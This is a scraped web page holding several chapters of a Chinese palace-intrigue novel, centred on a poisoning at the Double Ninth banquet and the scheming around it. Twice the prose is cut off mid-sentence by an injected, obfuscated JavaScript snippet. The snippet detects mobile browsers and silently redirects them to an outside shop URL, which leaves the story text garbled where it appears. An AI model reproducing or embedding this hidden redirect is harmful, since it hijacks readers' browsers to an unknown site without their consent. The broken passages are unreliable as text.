身边的肃石看见主人又盯着梨棠苑里那位姑娘发呆,疑惑道:“殿下,您说她是哪个宫里的人?身上的华服也不是宫中的制式,怎么总是坐在梨棠苑里呢。” 牧彰施没管身边絮絮叨叨的肃石,母亲这几日身体不好,他得了皇兄恩准允他入宫看望母亲。可接连几日,他都能见到一个女子满眼忧愁,呆坐在梨棠苑的秋千上吹风。 牧彰施微微蹙眉,她是谁,怎么每日都坐在这儿。 附近的宫殿除了母妃住的福乐宫,就只剩她做贵妃时住的苍平宫了。难道,她是皇兄的妃嫔。 “殿下,殿下。”肃石见殿下一直没应声又驻足好一会儿,小声唤道,“殿下咱们该走了。” 牧彰施撇开眼,抿紧唇道:“走吧。” 秋风吹透了姚昭桦的衣衫,她不由抱紧了胳膊。该回去了,不然可真要病了。 肩上突然搭上一件披风。姚昭桦回头看去,就见柳笛正给她系上披风的带子。 “小姐,快到重阳宫宴了。小姐要不要去。” 入宫后,柳笛和青萝在人后依旧叫她小姐,她也私心没让她们改口,总觉得这样叫,像是还在姚家一样。 姚昭桦闭紧眼睛,蹙眉道:“你明日去上阳宫回禀皇后,就说我病重未愈,恐扰了大家的兴致,就不去宫宴了。” 柳笛就知小姐不去,她笑弯了眼,才道:“小姐我听说这次宫宴的点心是二小姐做的,小姐真的不去?” “是阿缘?”姚昭桦一扫心中的烦忧,道:“知道消息你还不早告诉我,竟还瞒我。” 柳笛笑吟吟道:“我哪敢瞒着小姐,是我从宫中膳房替小姐取桂花蜜时听到的。说陛下今年钦点了二小姐做点心,还恩准平日做糕点的厨娘那日休沐呢。” 钦点阿缘做点心,姚昭桦心里有些奇怪,但想着那天可以见到阿缘便将什么奇怪都抛之脑后了。太好了,她真的很想阿缘。自阿缘出生后,她们还没分开过这么久。 明亮的月光照进姚尺书的书斋,也照着满地的狼藉,就连原本井井有条的书案,也被他翻的乱七八糟。 他自己也不知道自己在书斋呆坐了几个时辰,期间,夫人几次命仆役来唤他,他都不为所动,甚至还罕见的发脾气,将人赶了出去。 其实也不算罕见,自桦儿入宫后,他前前后后不知发了多少次脾气。 阿缘说得对,可自己又能怎么办呢?桦儿是他第一个孩子,更是他倾注半生心血培养的孩子。他怎么可能不心疼…… 自父亲去世后,他就是姚家新任家主,他不能不为姚家的前途做打算,他只能这样做,也必须这样做。 吱呀—— 章麓泽端着一碗鸡汤,“郎君,喝汤吧。” 鸡汤冒着热气,姚尺书却一点胃口都没有。一整日都没怎么吃东西,他看着夫人担心的样子勉强喝了两口。 “今日早朝,陛下说起二皇子要让桉儿入宫做小殿下的伴读的事。陛下说,重九宫宴过后,就让桉儿入宫。” “陛下和二皇子看中桉儿是姚家的福气,只是宫里比不得家中,他从小肆意惯了,规矩总得好好嘱咐一番。”章麓泽一边说着,一边挨个点上书斋的灯。 明晃晃的灯光有些耀眼,姚尺书防备不及,被晃了眼睛。 “你今日同阿缘吵架了。” 姚尺书揉着眼睛时,章麓泽不知什么时候走到了他的面前。对上章麓泽的目光,姚尺书心虚的挪开眼,“不妨事,阿缘大了,总归有自己的想法。” 章麓泽神情严肃,她摇头道:“郎君,陛下自重病后俨然换了一副面孔,咱们做臣子就该事事规劝。若一味应好,岂非与愚臣无异。前晋灵帝时裴乡柯的教训就在眼前,郎君怎么忘了。” 姚尺书别开眼,不敢面对章麓泽。 “我听不懂夫人在说什么。” 近几日的事,让章麓泽才发觉自己的枕边人竟悄悄变了许多,她不能坐视不理。 “郎君和父亲为了保住姚家和章家的地位权势,不顾律法草菅人命,难道还不是纵容陛下吗?” 姚尺书重重放下汤勺,勺子与碗沿碰撞发出叮的一声。 “夫人此话是何意?” “郎君当我不知吗?盛安童谣再起,两名主犯皆横死闹市官府却草草结案。章参他连主犯为何散布童谣,是否还有主谋,为何两人接连被杀他都说不清楚。这件事,就被以主犯自戕伏诛可笑的原因轻轻揭过。郎君可还记得以前做谏议大夫时,你为劝先帝尽早处置一些无能有权的前晋旧臣甚至不惜死谏。可现在呢,这些你都能看着不管。因为他们散布的童谣威胁了你,他们死无对证对你跟父亲,姚家还有章家都好。” “好了!”姚尺书冷脸厉声道,“你难道也要像阿缘一样同我吵吗?” 看着姚尺书陌生的样子,他眼中早就没了多年前她初见他时少年意气。 章麓泽深吸一口气,咽下满肚子的话,“姚尺书,你还记得我嫁与你时你同我讲得话吗?我信你的话还记了许多年,不料你竟忘了。真是可笑!” “夫人!”姚尺书急着起身想去追章麓泽,可那些话却重重砸在他的心头。 只身许国除圣蔽,一片丹心解民忧。 弱冠之年的姚尺书许过宏大伟愿,性格刚烈兢兢业业。却,只得三品谏议大夫。 现今而立之年的姚尺书壮家族之势,审时度势利己奉公。得,一人之下,权势滔天。 姚尺书 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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他人虽在宫内,心却一直飘忽着。穿过城墙,飞过定远侯府的大门,直直飘到那株苦楝树下,看阿遥在院中挥舞着青龙戟。 锋利的戟刃划碎了风,手臂挥舞间,无力反抗的风只剩阵阵呜咽。 肖遥害怕极了,空荡荡的定远侯府每日静悄悄的,除了风声和鸽子叫,什么声音也听不到了。算算时辰,姜煜姐日夜兼程最晚后日也该到庆州了。 姜燃也不在,莲娘婶婶之前是姑母手下的参军。战况焦灼,她也随军去了庆州,家中只剩年迈的祖父与书生出身的思汝叔。哦,差点忘了,还有一个被抛下的她。 祖父戎马多年如今已经许久不再上沙场了,在定远侯府安稳的日子他早就习惯了。最近,他喜欢上了养蝈蝈,整日闷在屋里趴在养蝈蝈的竹笼边听蝈蝈叫。 红豆报仇的事,她们一直瞒着莲娘婶婶和思汝叔。只告诉莲娘婶婶说阿缘的病需要红豆去寻药,三年五载才能回来。后来莲娘婶婶不小心说漏了嘴,思汝叔每晚都会偷偷在被子里抹眼泪,说对不起念汝婶母。 婶婶与阿姜姐刚走那几天,思汝叔整日发呆,还自告奋勇要给祖父和她做菜。可菜总是要么太咸要么把糖当成了盐。 直到祖父突然转性喜欢上蝈蝈,思汝叔才没功夫怨天尤人,被祖父安排整日在城外奔波,为他挑选最好的蝈蝈。 不知不觉,又练了两个时辰。 肖遥放下戟,抬头呆呆地望着渐渐暗下来的天。 也许她会在盛安一直待着,待到像祖父一样老,待到她忘记边陲圆月,金戈铁马。 45. 惊变 日暮,夕阳落西山。 肖遥打开请帖,轻轻抚摸着上面隽秀的字,云麾将军肖遥。她轻笑,这字她一眼就认出来了,是小七写的。 快到宫宴开始的时辰了,回了盛安后,她出入后宫的身份一直是姑母的甥女,肖家的贵女。这还是她第一次以云麾将军肖遥的身份出入宫宴。 肖遥简单收拾干净,换好自己的官服。她回来后,陛下特意恩准她在定远侯府照顾身染风寒的祖父,先不必上朝。这还是她第一次穿官服呢。 宫宴,自然要身着华服。姚映梧特意提前半月,在盛安最大的布庄为她和云昙做了衣裳。 莫内侍昨日带着姚映梧上报的东西来丞相府,他说宫中膳房明日需忙着准备其他菜肴,让她们在丞相府做好糕点后再带着糕点入宫。若她的糕点能让太后满意,陛下必重重有赏。 奇怪的感觉只在姚映梧心头划过一瞬,而后,便是她有机会做女官博得陛下青睐,继而换长姐出宫的喜悦。 重九宫宴那日,她与云昙跟院中其他的丫鬟忙了整整一个上午,才赶在宫宴前做好了糕点。 临行前,高琢匆匆来找她。 “阿缘,兄长刚才让尘起哥带信给我,说忆欢不舒服。他们都得去宫宴,只能留我来照顾她了。” 高琢将画筒递给姚映梧,“我实在是担心忆欢就不同你去了,这是给肖遥和牧泓屿的画,阿缘你帮我带给他们吧。” 昨日高琢将生辰图已经给了她,可惜她没顾上看。姚映梧接过画筒,担忧道:“好,你快回去照顾忆欢吧,她病了身边可不能离人。” 姚映梧看着高琢手忙脚乱的样子,心中没由来的担心,前几日忆欢还好好的,怎么突然就病了呢。 马车摇摇晃晃,走的路,正是长姐入宫的那条。 穿过街市,落日的余晖洒在高大的皇城上。宫门口的守卫森严,牧泓屿和肖遥正站在那儿等她。 下了马车,姚映梧怀中抱着画,云昙和另一个丫鬟跟着她身后,手中提着装糕点的食盒。 见高琢没来,牧泓屿眉头紧皱。刚才,他好不容易才从莫内侍的围追堵截中逃出来。结果正好碰见入宫的阿遥,也算因祸得福了。 他扫视一周,轻声提醒姚映梧道:“高琢不来,要真出了事他撇的最干净。姚映梧,你自己最好万事小心。” 三言两语让肖遥警觉起来,直觉告诉她,牧泓屿肯定有什么事瞒着她。 宫宴时辰临近,现下也考虑不了那么多。肖遥握住姚映梧的手,“阿缘放心,有什么事有我在呢。” 牧泓屿的话让姚映梧不宁的心神更加不安,可此时已无回转的余地了。她强压下不安,挤出笑来,“不会有事的皎皎,再说了,谁还能害我不成。” 只是这话,姚映梧不知是说给肖遥听还是在安慰自己。 不安的情绪弥漫在三人间,牧泓屿见状也只能宽慰自己做好防备见招拆招了。 肖遥瞥了一眼牧泓屿,见他走神,她趁机低声对姚映梧说:“上次你托我要的药我带来了,等你见到表兄后给他就成了。姜燃说,伤的时间太久药也不一定管用,但长久用这个药膏来淡化伤疤,伤疤渐渐就没那么恐怖了。” 姚映梧收好药膏,感激道:“皎皎,多谢你们。” “你我之间,何须这般客气。” 她们二人凑到一起嘀嘀咕咕的不知道在说些什么,整得牧泓屿一头雾水。现下他也无心深究,只将手上的两个画筒往四喜怀中一塞,急道:“时辰快到了,先入宫吧。” 回高府的路上,高琢心急如焚。他呼吸急促,耳边的风呼啸而过,眼前的景物也越来越模糊。 直到他酿酿跄跄的跑进忆欢的屋内,看见躺着床上好好睡着的忆欢,他心中的石头才彻底落地。 高琢看忆欢睡得安稳脸颊红扑扑的,应该是吃过药睡下了。他便就这样静静的坐在忆欢床前,守着她,等她醒来。 初秋的落日映着彩霞,将白云染成火红的颜色。 驿馆内,裴澄换好官服等着两个孩子陪他一起去赴宴。 今日是重九节,本是阖家吃栗子糕喝茱萸酒赏菊的日子。可今日早朝,陛下却特允他与孩子们一同赴重九宫宴。 他在盛安的耳目打听到,此次宫宴上是由阿缘准备的糕点。而且,官员中只请了他与高羡。陛下的意思很明显,就是冲他来的。 想到这裴澄叹了口气,唉,真是多事之秋啊。不过也好,借此良机他也能见见七皇子的面。 “阿衡你…你真的要去吗?” 裴虞卿望着铜镜中的阿衡,满脸写着担心。 “自然。” 说话间,裴虑衡的目光落到桌上的白虎面具上一瞬就迅速别开。“我答应了长姐要一起,怎么能说话不算数。” “可是……”深宫可谓是龙潭虎穴,裴虞卿不忍心让阿衡去这种地方。 裴虑衡笑着打断道:“别可是了长姐,我不会让你自己……” 一阵急促的脚步声从门外传来,裴虑衡听出是父亲的脚步赶忙噤声。 “怎么还没准备好,眼看就快到时辰了。” 在大门等了好一会儿的裴澄见姐弟二人还未出来,着急的进来催促两人。 裴澄瞟了一眼女儿,她还留着那人成婚时给她的珠钗。他人死了,也将他不可一世的女儿一并带走了。现在的阿卿,精气神都磨光了。他不想要阿卿天天思虑过多,只想她能肆意开心的活着。 裴澄恨透了那人,当初他就不喜欢他。只可惜女儿一心嫁给他,还与他私奔回了闼鞑成婚。这件事他现在也越想越气,他怒道:“那个闼鞑商人已经死了,你还戴着他送你的珠钗干甚!赶紧摘了,改日等父亲得了空,给你在盛安再寻一个好人家。即使不是盛安世家,最差父亲也要给你找一个在朝中做官的,起码是我大邺人。一个商人,还是闼鞑人,不值得你一直惦记着!” 裴虞卿虽知父亲一直不喜自己的郎君,可这是郎君过世后她第一次亲耳听到父亲这样说。语气中满是不加掩饰的嫌弃,甚至还想让她改嫁。 她心口传来针扎一样密密麻麻的痛,她深吸一口气将眼泪憋了回去。 “知道了,父亲。” 裴虑衡拿起桌上的绶鸟纹面具戴好,“父亲,长姐,时辰差不多了,别误了大事。” 桑林池,宫宴正酣。 丝竹管弦声悦耳,舞姬舞步轻盈灵动。新开的各色菊花围着亭阁绕了一大圈,每吸一口,皆是菊花淡雅之香。 宫人们将姚映梧带来的糕点分装在盘中,给宴席上的贵人一人准备了一盘。临近上糕点的时候,有一个宫女突然肚子疼,脸都疼白了。每一个宫女都是对着一位贵人的,少一个都不行。云昙拿不准主意,急得赶紧去找了小姐。 姚映梧听说此事一惊,赶忙找了莫内侍来,让他帮忙再寻一个宫女前来顶替。 莫内侍为难道:“不行啊二小姐。今日的宫女都是精挑细选出来的,现在临时换一个,万一出了差错卑职可担待不起。” 丝竹声渐渐由高亢变得婉转低吟,快到上第一道糕点的时辰了。 眼瞧着要来不及了,姚映梧又赶紧提了许多法子,可莫内侍皆推脱着不允。云昙在一旁看得心急,她知此事关系重大于是咬咬牙对姚映梧说:“小姐那个宫女疼的厉害,肯定不能到宫宴上搅了贵人们的兴致。还是我去换上宫女的衣服,顶替她一下。” 姚映梧本不想让云昙掺和,可如今,也没有别的办法了。姚映梧对云昙嘱咐道:“宫中的规矩你毕竟不懂,一会换好衣服,你就去给肖遥将军送糕点。有什么差错,她会帮你的。我去找给她送糕点的宫女,让你们两个换一下。” “好,小姐。我这就去。” 高羡见云昙离开,便上问发生什么事了。 姚映梧长话短说,三两句讲清了原委。得知前因后果后,高羡问莫内侍,“身体不适的宫女是负责给谁送糕点的。” “是给统领您的。” 高羡对姚映梧说:“二小姐何须这般麻烦,直接让云昙姑娘给我送糕点就好了。七皇子和肖遥将军都坐在陛下太后和皇后附近,云昙姑娘万一出了什么差错就不好了。我离主位远,云昙姑娘帮我上糕点,礼数上有什么不周全的地方没人会注意到的。” 姚映梧正欲答应,可牧泓屿的提醒还萦绕在她耳边,她四下看了好几圈,离主位远的位置有几个,可只有高羡是她认识的人。云昙若礼数真有什么不周到的地方,他也能担待些。他若真存了害人的心思,她也会护住云昙把宫宴失职之罪都揽下来的。 姚映梧想好对策,点点头松了口。 裴澄一行人刚进宫门就遇上一个年轻的内侍引路,带着他们七拐八拐,一路走到了陛下的太清宫。 裴澄见地方不对,皱眉道:“内侍可是带错路了,我们要去的是桑林池,不是太清宫。” 那个年轻的内侍赶紧陪笑认错道:“是去桑林池,只不过要路过太清宫。裴太守莫急。” 跟着那个内侍,裴澄一行赶在最后才到。此时陛下、太后和皇后宫妃们,都到了。裴澄正欲向陛下请罪,牧怀兴却兴致不错看着胡旋舞,摆手让裴澄几人落座入席。 见到舅舅和表兄表姐姗姗来迟,姚映梧心中一惊,舅舅他们怎么来了。可她 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和亲路上是她苦苦哀求,讲清其中利弊。若皇弟一死,兰诏国主之位必会落入奸人之手,兰诏必然会亡国。兰诏与大邺修好还愿为附属国为大邺朝贡,两国近邻唇亡齿寒,兰诏亡国对大邺百害而无一利。 念汝将军上书写明了缘由,先帝也回信同意。临行前,念汝将军还问了皇弟的病症,给她带了许多珍贵的药材来救命。说她祖上原姓姜,世代行医,是鄢州姜家后人。先父因舍命就过先帝,蒙受皇恩被赐皇姓牧。她开的药,她可以放心给她的皇弟用的。 可等她一回兰诏,他们却都反悔了。先帝翻脸斥责牧念汝未按时带她回盛安,并说对牧念汝写信一事毫不知情。她存了私心,皇弟服药后身体虽日益见好却仍是虚弱。她怕先帝想借此直接吞并兰诏,故隐瞒了真实内情,说她是走失迷路。她还把来兰诏求救的戈罗昂真带回了大邺,说她是给自己指路的恩人。她想借戈罗昂真生事,搅弄大邺,让兰诏趁机休养生息。 她一心为兰诏却无意害死那么多人,更害死了最大的恩人念汝将军一族。她越想便愈发痛苦,甚至萌生了一死了之的念头。 她走到桑林池,差点跳下去。是裴澜不顾有孕在身的身体及时拉住了她。裴澜是陪着姚尺书入宫赴宴,宫宴上的饮的茶让裴澜一直头晕恶心。她出来透气散心,才顺手救了自己。裴澜劝她,与其了结自己,不如再为心中有愧之人做些有用的事。黎稔看着裴澜的肚子,想起那将军也身怀六甲。 多亏了裴澜的宽慰,她才找回理智。为念汝将军和姜家,留下了最后一点血脉。 黎稔吃了一块蓬饵,果然是兰诏的味道。仔细品味间,就像云州珍味楼的味道。 母后最爱吃珍味楼的点心,她做芦元公主四处巡察时,常为母后从云州带回来。 吃完糕点,黎稔对做糕的人是止不住的满意。姚映梧,不愧是裴澜的孩子。想着姚映梧,黎稔也生了别的思绪。 念汝将军的孩子,也该这么大了吧……不知是女孩还是男孩。 云昙换好衣服,端着糕点给高羡。她暗自念着规矩,生怕出错给小姐和丞相府丢人。 她双手捧着装糕点盘子,轻轻放下。抬起头道:“这是蓬饵,请大人慢用……” 看清眼前的人的样貌,云昙脑中霎时闪过一抹身影。 白衣佩剑…… 那身影很快便消失了,抓也抓不住,却和眼前的人渐渐重合。云昙实在是记不起来了,对了,她当时也觉得高琢眼熟。高琢家乡的糕点还是云州的味道,难道自己小时候在珍味楼见过他们? 高羡看着云昙发愣的样子,温和的对她一笑。目光转而落在了她手中端着的糕点上。蓬饵翠绿,有一股淡淡的米香。面前端着糕点的人将它装在素色的瓷盘中,手腕上还有形似昙花的胎记。 “陛下!您怎么了?快传御医!” 宫宴进行到一半,第二道糕点还未上。 牧怀兴突然开始吐血。钟内侍心急如焚,赶紧命人去叫御医。 莫内侍见陛下吐出来的是黑血,赶忙高呼侍卫。周围护卫的御守府兵士立刻执刃上前,将亭台围的水泄不通。 莫内侍唤宫人拿来银针一试,惊呼道:“不好!糕点有毒!” 有毒的糕点顿时令宫宴温馨的氛围戛然而止,此事一出,牧泓屿和肖遥对视一眼。果真出事了…… 桌上,姚映梧心中大骇,正欲起身将罪责揽下时,不远处又出现一声惊呼。 “弟弟!弟弟!阿衡!” “阿衡,阿衡!你怎么了,别吓父亲啊!” 46. 陷阱殁 又有人中毒了。 宫宴上吃过糕点的人是人人自危,本就凝重的宫宴,如今更是一片死寂。 裴虑衡中毒让高羡不解,他瞟了一眼莫内侍,却见他也是一脸震惊之色。 表兄突然吐血昏迷,隔着老远的姚映梧顾不上什么礼节,不停向舅舅那桌的方向张望,恨不得直接离席跑去看表兄怎么样了。姚昭桦离得更远,不清不楚的情况更是令她揪心,在位置上也坐立难安。 牧彰施察觉到姚昭桦的异常,虽不知她与中毒的男子有什么关系,可见她忧心不已的样子,还是悄悄唤来肃石让他去看看情况。 御医们来的很快,为首的御医先为牧怀兴施针,吐出有毒的糕点。裴虑衡则是中毒太深,御医为他施针时,他就已经双目紧闭,气若游丝。 御医收回银针,冲着裴澄摇了摇头。得到答案后,裴澄失神的双目不敢置信的瞪大,全身止不住发颤。裴虞卿则紧紧抱住裴虑衡,垂头落泪。 其他人吃剩的糕点和还未呈上的糕点,都被御医们一一试毒。除了在陛下与裴虑衡的蓬饵中发现有毒外,其余人的糕点都正常无毒。 此话一出,在场之人皆松了一口气。 牧泓屿看着裴虑衡即将咽气的状况心情大好,老天终于是眷顾他一回,他没等他查出此人的底细,这人眼看就不行了。 身旁的肖遥担忧的看了眼姚映梧,她刚为阿缘讨来了祛疤膏,结果却…… 唉,真是世事难料。 御医院为首的老御医回道:“启禀皇后,经臣仔细查验陛下与裴公子中的不是一种毒,且陛下的糕点上是一种奇毒,老臣还需一些时辰才能查明。此毒药性猛烈,剂量虽很少但也能危及性命,找到解药才是最佳方法。裴公子糕点上的是少量砒霜,若吐出来就没事了。可糕点已在腹中,催吐不出来,老臣……老臣也没办法了。” 咚—— 不大不小的声音传到了肖扶锦的耳朵,是姚昭桦失手碰倒了酒杯。她暗暗惋惜,“莫旬,去看看。” 肃石姗姗来迟,牧彰施抬手阻止了肃石即将出口的话。她已经不需要了,自己也没兴趣听。 莫内侍奉皇后的命令上前看了眼裴虑衡的情况,发现他已然命悬一线回天乏术。 裴虑衡又吐出大一口血,他口中呢喃几句,裴虞卿趴在他嘴边边听边哭。裴虑衡说完,握紧着裴虞卿的手已经也慢慢松开。 “阿衡,阿衡!” 任凭裴虞卿怎么呼喊,裴虑衡都没能再睁开眼。 “阿衡!”裴澄痛呼着幼子的名字,不顾这是皇家宫宴,冲到御医们身边,央求他们救救他的孩子。 姚映梧看着舅舅如此,手中的祛疤膏硌得她生疼。她几日前才见到表兄,还为他讨来了药膏,怎么会…怎么会这样。 牧怀兴体内尚有余毒,钟内侍扶他回去休息时,他钦点留高羡处理此事。 “裴卿。”肖扶锦不忍看着裴澄四处恳求御医狼狈的样子,不忍道:“人死不能复生,裴卿要节哀保重啊。” 肖扶锦的话终于让裴澄冷静下来,他行礼请罪道:“请皇后恕臣无状,幼子突丧,臣实难冷静。” 肖扶锦摆摆手,“罢了,也不怪你。唉,此事不论是谁的过错,你的幼子终为此无辜丧命。吾就代陛下赐你滕州界内冢地安葬幼子,另再随赐葬具。明日,你就启程回滕州吧。” “娘娘!”裴虞卿放下阿衡,带着哭腔上前道:“父亲生在盛安长在盛安,我与阿衡虽也是裴家人,却是第一次来盛安。裴家为盛安世家,父亲从小便告诉我们盛安是故乡,如今阿衡临走前,期望能葬在裴家祖辈之地死后能亲自守着故乡。这是阿弟临终前托付之事,万望您成全。” 临终之言,回葬家乡。一片切切之情让肖扶锦怎能回绝。 “好,那就允其葬在盛安。今夜裴太守可先将其尸身暂放殡宫,等明日一切事务安排妥帖后再带令郎尸身出宫下葬。” 裴澄行礼道:“多谢皇后恩典,裴澄感激不尽。” “皇后娘娘。”莫内侍反应过来,裴虑衡的事实在出乎意料,他一搅和差点误了大事。他赶忙道:“娘娘,此番陛下与裴公子中毒,做糕之人确实颇有嫌疑。若不惩处,岂非是纵容凶手行凶。” “莫内侍言重了吧。事情还未查明,怎么就扣下来这么大一顶帽子。我也是姚家人,为显公允此事本该避嫌。可做糕的人出自我姚家,中毒身亡的人也是我姚家表亲。内侍口口声声说纵容行凶,也太言之凿凿了吧。” 表弟出事姚昭桦已经是心痛万分,时隔多年,她还是第一次见到这个表弟。世事难料,只这一面,两人就天人永隔了。姚昭桦正伤心欲绝,就听到莫内侍查也不查就要抓人问罪,她一时也顾不上身份,赶紧反驳道。 “望贤妃娘娘恕罪,卑职不是这个意思……” “莫旬。” 一直未说话的黎稔开了口。她本不想管这些糟心事,可此事涉及姚家那姑娘。她已经辜负念汝将军,不能再让裴澜的女儿有事了。 见太后开口,莫内侍恭敬的听着。 黎稔抿紧了唇,今日设局之人实属可恶,不管他是冲谁来的,都可惜了这蓬饵与菊花酒了。 “御医不是说了吗,陛下中的毒与裴家那小子的毒不是一种毒,且剂量都不相同。什么蠢人下毒会下在自己做的糕点上,还下两种毒,一个害陛下,一个害自己的血亲。不过,糕点既是姚二小姐带进来的,她嘛,也有失察之罪……” 黎稔还没为姚映梧找好脱罪的借口,此时御医们正好来禀。说查出此毒是乌寒,是从寒乌树上提出来的剧毒。若想解此毒,需要与寒乌树相生相克的火莲花花瓣来解毒。只是此药宫中没有,需要去滕州寻找。 黎稔知道借口送上门来了,她借此道:“姚二小姐有失察之罪,便让她去滕州找火莲花为陛下清除余毒吧。姚二小姐身负重任也有嫌疑,查案的事就交给三一,你去将事情细细查明。至于另一个做糕的人…期间便将其软禁在福乐宫,不许离宫外出。就是不知这样处理,高统领可还有异议?” 高羡不禁冷笑,她都安排好了才来问自己的意见,要不是陛下令自己负责,估计他连插嘴的资格都没有吧。不过,结果也正合他意,不枉他忙了许久。只是……还落了一个人。 高羡恭敬行礼道:“太后公正严明,臣实在是心服口服。只是,御医说此毒是乌寒。臣见肖遥将军是与姚二小姐一同入宫的,当时食盒就在姚二小姐的贴身婢女手中。当今大邺,这乌寒只有陛下和定远侯府有,陛下如今中毒,肖将军怕是也有嫌疑吧。” “高统领此言差矣。肖遥将军与我一路走来,皆有旁人作证,她并未打开食盒,又何来下毒一说。” 姚映梧本见莫内侍出口便直指自己,没牵连到云昙心中便放心了。不料高羡却直接翻脸,拉肖遥下水。她自己被人骗就算了,实在不能忍无辜之人受她牵连。 高羡的话让牧泓屿捏紧了拳,今日是宫宴,他说莫内侍怎么有胆子到处堵他,原来是为了逼他带着她们走宫中的小路。小路甚少有宫人,即使偶尔有人也是御守府的巡卫兵士。御守府,不就是他高羡说了算吗。 难怪他不让高琢来,真是一石三鸟啊。让高琢置身事外的同时,打击了姚家还拉肖家下水。姚映梧不会说出他来,可为了阿遥的清白,最后他只能出面说自己是与她们两人一同入宫,可为阿遥作证。 主动将自己与阿遥的关系,彻底暴露在牧泓屹一党和支持五哥的人面前,他想平安离开盛安做郡王是不可能的了。为了自保和阿遥,他只能答应高羡联手与牧泓屹争一争那皇位。 高啊,高羡。自己以前真是小看他了。 察觉到牧泓屿怒 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17269608|195160||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 火中烧的目光,高羡心中暗笑,终于上钩了。莫旬没用,只好他亲自动手了。 他正欲逼姚映梧说出牧泓屿,不料肖遥起身请罪道:“陛下身中乌寒之毒实在令臣惶恐不安,臣虽是与姚二小姐一同入宫,但绝无下毒之事。事情未明,臣心不宁。身为人臣,臣愿与姚二小姐同往,为陛下尽早解毒出一份力。” “好!那你们二人就一同前往滕州。” 黎稔当然知道不是肖遥下毒,更知道见糕点入宫的第三人绝对非同寻常。只是能让肖遥如此大义,宁愿背上污名也不供认的人会是谁呢。 牧泓屿实在是坐不住了,正欲开口求皇祖母允他同去滕州,就看到肖遥冲他使了一个眼色要他不准轻举妄动。 牧泓屿的怒气肖遥也感受到了,她顺着看去,就看到了高羡脸上意味不明的笑。 想起近日来牧泓屿的不对劲和他三番两次提醒阿缘注意,还有他与高琢的吵架,加之高琢今日未出现。 此类种种加起来,她还能不明白吗。那日在家中她就该想到的,除了高羡,谁还会费力辅佐一个没有母族依靠的皇子。急着在陛下病重时,寻找新靠山呢。 裴澄见高羡如此脸色一变,他这是什么意思?几日前还邀他辅佐七皇子,今日就对阿缘咄咄相逼。牧怀兴!他还是怀疑他裴澄知道仙宫所在。为了威胁他竟下毒害死了他可怜的儿子,甚至还让高羡把阿缘也扯了进去。 裴澄心痛的瞥了一眼毫无生气的儿子与心碎的女儿。他怎么能相信这两个人呢,真是老糊涂了,在滕州谋划了一辈子,竟被一首故曲和几句话打动了。那演奏塞上曲的乐姬,每一弦都弹的声声悦耳与父亲弹的别无二致。高羡花了这么大的心思搞来父亲原谱还找了乐姬弹奏,难道就是为替陛下试探他? 牧怀兴啊牧怀兴,既然你敢叫高羡拿衡儿和阿缘来试探我,那我也得好好还你们一份大礼。 牧泓屿思来想去,自己还是不能留在盛安,若他还待在盛安恐生不少事端。牧泓屹或是章贵妃真对他下杀手怎么办,寻药不知多久才能回转,他明年春,可就要去嘉州了。 牧泓屿狠狠拧了自己一把,泪眼婆娑道:“皇祖母,孙儿无用,不能像两位皇兄在政事上为父皇分忧。请您恩准孙儿去滕州寻药吧,孙儿大了也想为父皇尽一份孝心。不然孙儿在盛安什么都做不了,可真要急死了。” 黎稔看着牧泓屿,他眉眼间与戈罗昂真十分相似。当年他母亲帮了她许多,她暗中也护着这孩子长大。只是现下不宜与陛下撕破脸,不敢明着护他罢了。 她猜他有别的心思,可有点拿不准是肖遥还是姚映梧。他与肖遥是小时候的情分,与姚映梧近日也是频繁同出同进。 黎稔心软,也允了他成全他的小心思。 对牧泓屿上心的还有不远处的牧泓屹,他喝了一杯茱萸酒,冷脸看着牧泓屿。牧泓屿怕自己在盛安对他动手,不如跟着肖遥去滕州。牧泓屿真觉得整个大邺也难有肖遥的对手,想跟着她让她保全小命。 牧泓屿啊牧泓屿,你还真是和小时候一样没用。 桑林池的闹剧终于停了,今夜无月,只有几颗微弱的星星亮着微光。 忆欢悠悠转醒,看着守在床边的高琢揉着眼睛疑惑道:“阿琢哥哥,你怎么在这儿,阿爹和尘起阿哥呢?” 高琢为忆欢倒了一杯温水,柔声道:“他们去赴宫宴了,我在这陪你。忆欢你哪不舒服,真叫我担心死了。” 忆欢睡了许久,端起水一饮而尽。 “我没受伤啊,是昨日阿爹说自己睡不着,拉着我说了大半夜的话,直到中午才让我去睡。我这才睡醒,怎么都深夜了。阿琢哥哥,映梧姐姐有没有来找我玩啊?” 一连串的话砸得高琢头晕。忆欢没生病,是兄长骗他。 高琢痛苦的闭上眼睛,兄长他,他对阿缘下手了。 47. 人心改今非昨 今夜只有星光,忆欢刚睡醒,屋内也并没点灯。阴暗的屋内,忆欢看不清高琢面上的表情。 她疑惑道:“阿琢哥哥,你怎么了。” 忆欢的话在高琢耳边嗡嗡作响,他全身脱力,血液一股脑的涌到头顶。他该怎么办,要怎么办才好。 高琢猛地想起兄长素日常待的书斋,那地方和家乡一样有片竹林。除了尘起哥,连他都没进去过。刚到高府时,他想去书斋取一方墨锭都被兄长借口支开了。 若兄长真要害阿缘他们,想来肯定在那留了些蛛丝马迹。 打定主意,高琢三言两语安抚好忆欢,自己则打算趁着夜色悄悄摸进书斋看个究竟。 踩着微弱的星光伴着沙沙的竹叶声,高琢刻意放轻脚步摸到了书斋门口。 书斋外,有花燕在门口守着,她正坐在院落里的石凳上闭目养神。 几日前,有人偷偷进过高羡的书斋被他发现了。高羡起了疑心,便命府中功夫数一数二的花燕在他不在府中的时候替他把守书斋。 姜燃也没想到自己突然被委以大任,不过这么重要的事能交到她的手上,可见他没什么能用的人了。 ” 